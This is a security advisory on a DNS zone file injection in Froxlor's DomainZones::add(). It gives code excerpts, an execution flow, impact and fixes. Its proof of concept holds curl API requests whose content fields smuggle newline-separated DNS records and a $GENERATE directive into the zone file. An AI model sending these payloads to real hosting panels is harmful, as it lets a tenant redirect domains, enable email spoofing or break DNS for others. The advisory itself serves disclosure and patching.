Froxlor has a BIND Zone File Injection via Unsanitized DNS Record Content in DomainZones::add()

Summary

DomainZones::add() accepts arbitrary DNS record types without a whitelist and does not sanitize newline characters in the content field. When a DNS type not covered by the if/elseif validation chain is submitted (e.g., NAPTR, PTR, HINFO), content validation is entirely bypassed. Embedded newline characters in the content survive trim() processing, are stored in the database, and are written directly into BIND zone files via DnsEntry::__toString(). An authenticated customer can inject arbitrary DNS records and BIND directives ($INCLUDE, $ORIGIN, $GENERATE) into their domain's zone file.

Details

Missing type whitelist — DomainZones.php:93:

The type parameter is accepted directly from user input with no validation against allowed values:

// lib/Froxlor/Api/Commands/DomainZones.php:93
$type = $this->getParam('type', true, 'A');

The if/elseif chain at lines 170-317 validates content only for 13 known types: A, AAAA, CAA, CNAME, DNAME, LOC, MX, NS, RP, SRV, SSHFP, TLSA, TXT. Any type not in this list falls through with no content validation at all. There is a TODO comment at line 148 acknowledging missing validation:

// TODO regex validate content for invalid characters

Missing newline sanitization — DomainZones.php:154:

The content field only receives trim(), which strips leading/trailing whitespace but preserves embedded newline characters:

// lib/Froxlor/Api/Commands/DomainZones.php:154
$content = trim($content);

Unsafe zone file output — DnsEntry.php:83:

DnsEntry::__toString() concatenates content directly into zone file format without escaping:

// lib/Froxlor/Dns/DnsEntry.php:83
return $this->record . "\t" . $this->ttl . "\t" . $this->class . "\t" . $this->type . "\t"
    . (($this->priority >= 0 && ($this->type == 'MX' || $this->type == 'SRV')) ? $this->priority . "\t" : "")
    . $_content . PHP_EOL;

Newlines in $_content produce new lines in the zone file, each parsed by BIND as an independent resource record or directive.

Zone file write — Bind.php:121:

// lib/Froxlor/Cron/Dns/Bind.php:121
fwrite($zonefile_handler, $zoneContent . $subzones);

The AntiXSS filter applied at the API layer (Api.php:91) targets HTML/JS XSS vectors and does not strip newline characters. The web UI form restricts types via a dropdown (formfield.dns_add.php:42-56), but this is client-side only — the server-side DomainZones::add() has no corresponding whitelist.

Execution flow:

1. Customer sends API request with type=NAPTR and content containing \n-separated lines
2. getParam() returns raw values without sanitization
3. Type NAPTR matches none of the if/elseif conditions — no content validation runs
4. trim($content) preserves embedded newlines
5. Content is inserted into domain_dns table via prepared statement
6. DNS cron creates DnsEntry objects from DB records (Dns.php:297)
7. DnsEntry::__toString() outputs content with embedded newlines into zone format
8. Bind.php:121 writes zone to disk; BIND loads the file and processes injected lines as records

PoC

Step 1: Inject a DNS record with embedded newlines via API

curl -s -X POST 'https://froxlor.example.com/api.php' \
  -u 'APIKEY:APISECRET' \
  -H 'Content-Type: application/json' \
  -d '{
    "command": "DomainZones.add",
    "params": {
      "id": 1,
      "type": "NAPTR",
      "content": "100 10 \"\" \"\" \"\" .\n@ 300 IN A 1.2.3.4\n@ 300 IN NAPTR 100 10 \"\" \"\" \"\" ."
    }
  }'

Expected: HTTP 200 with success response. The record is stored in the database.

Step 2: Wait for DNS cron to rebuild zones (or trigger manually)

# As admin, trigger the DNS rebuild cron
php /var/www/froxlor/scripts/froxlor_master_cronjob.php --force --dns

Step 3: Inspect the generated zone file

cat /etc/bind/domains/example.com.zone

Expected zone file content includes injected lines:

@    18000    IN    NAPTR    100 10 "" "" "" .
@ 300 IN A 1.2.3.4
@ 300 IN NAPTR 100 10 "" "" "" .

The line @ 300 IN A 1.2.3.4 is parsed by BIND as an independent A record pointing the domain to the attacker's IP.

Step 4: Verify BIND directive injection

curl -s -X POST 'https://froxlor.example.com/api.php' \
  -u 'APIKEY:APISECRET' \
  -H 'Content-Type: application/json' \
  -d '{
    "command": "DomainZones.add",
    "params": {
      "id": 1,
      "type": "NAPTR",
      "content": "100 10 \"\" \"\" \"\" .\n$GENERATE 1-255 $.0.168.192.in-addr.arpa. PTR host-$.example.com."
    }
  }'

This injects a $GENERATE directive that creates 255 PTR records.

Impact

An authenticated customer with DNS editing enabled can:

1. Inject arbitrary DNS records bypassing all content validation — including A/AAAA records pointing the domain to attacker-controlled IPs, redirecting legitimate traffic.
2. Manipulate email authentication by injecting TXT records to override SPF, DKIM, or DMARC policies, enabling email spoofing for the domain.
3. Inject BIND server directives ($INCLUDE, $ORIGIN, $GENERATE) that escape the DNS record context and can attempt to include local server files, alter zone origin, or mass-generate records.
4. Cause DNS service disruption by injecting malformed records or conflicting directives that cause the zone file to fail loading, disrupting DNS resolution for all records in the domain.

While this requires an authenticated customer account, DNS editing is a standard feature in shared hosting environments. In a multi-tenant deployment, a malicious customer can abuse this to disrupt the DNS server or inject records that bypass validation controls designed to protect zone integrity.

Recommended Fix

1. Add a type whitelist in DomainZones::add() (primary fix):

// lib/Froxlor/Api/Commands/DomainZones.php — after line 93
$type = $this->getParam('type', true, 'A');

$allowed_types = ['A', 'AAAA', 'CAA', 'CNAME', 'DNAME', 'LOC', 'MX', 'NS', 'RP', 'SRV', 'SSHFP', 'TLSA', 'TXT'];
if (!in_array($type, $allowed_types)) {
    throw new Exception("DNS record type '" . htmlspecialchars($type) . "' is not supported", 406);
}

2. Strip newline characters from content (defense-in-depth):

// lib/Froxlor/Api/Commands/DomainZones.php — replace line 154
$content = trim(str_replace(["\r", "\n"], '', $content));

3. Sanitize in DnsEntry::__toString() as a belt-and-suspenders measure:

// lib/Froxlor/Dns/DnsEntry.php — at the start of __toString()
$_content = str_replace(["\r", "\n"], '', $this->content);